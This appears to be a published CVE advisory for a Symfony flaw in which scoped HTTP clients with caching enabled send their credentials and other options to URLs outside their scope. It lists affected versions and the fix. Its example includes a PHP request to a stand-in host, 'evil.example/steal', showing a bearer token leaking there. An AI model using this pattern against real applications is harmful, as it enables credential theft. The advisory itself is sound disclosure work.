Scoped HTTP Clients With Caching Enabled Send Their Credentials to Any Origin

State
Published
Severity
6.3 Medium
Published
Nov 25, 2026
Updated
Nov 25, 2026
Reserved
Nov 20, 2026

Read the record on cve.org

Description

Since Symfony 7.4, framework.http_client.scoped_clients can enable caching on a scoped client. FrameworkBundle then puts a CachingHttpClient inside the ScopingHttpClient, with the options of the scope as default options. CachingHttpClient merges them into every request. So the credentials of the scope, like auth_bearer, auth_basic or an Authorization header, are also sent to URLs outside the scope:

framework: http_client: scoped_clients: github.client: base_uri: 'https://api.github.com' headers: { Authorization: 'token GH-SECRET' } caching: { enabled: true }

$githubClient->request('GET', 'https://evil.example/steal'); // sent with "Authorization: token GH-SECRET"

Every option of the scope applies outside of it, not only the credentials, for example verify_peer: false, a client certificate, proxy or resolve. Without caching, ScopingHttpClient sends no option of the scope to evil.example. Applications are affected when a scoped client with caching enabled requests a URL that an attacker can influence, absolute URLs included.

The CachingHttpClient of a scoped client is now registered without default options. ScopingHttpClient already applies them to the requests that match the scope.

ProductVersions
symfony/framework-bundle Symfony7.4.0 to before 7.4.24 Affected8.0.0 to before 8.1.12 Affected
symfony/symfony Symfony7.4.0 to before 7.4.24 Affected8.0.0 to before 8.1.12 Affected

Weaknesses

  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
  • CWE-522 Insufficiently Protected Credentials

References

Every record here comes from the CVE Program's CVE List. © 1999-2026 The MITRE Corporation. CVE is a registered trademark of The MITRE Corporation. The records are reproduced under the CVE Program terms of use.

© 2026 NVIDIA, the NVIDIA logo, and NVIDIA Inception are trademarks and/or registered trademarks of NVIDIA Corporation in the U.S. and other countries.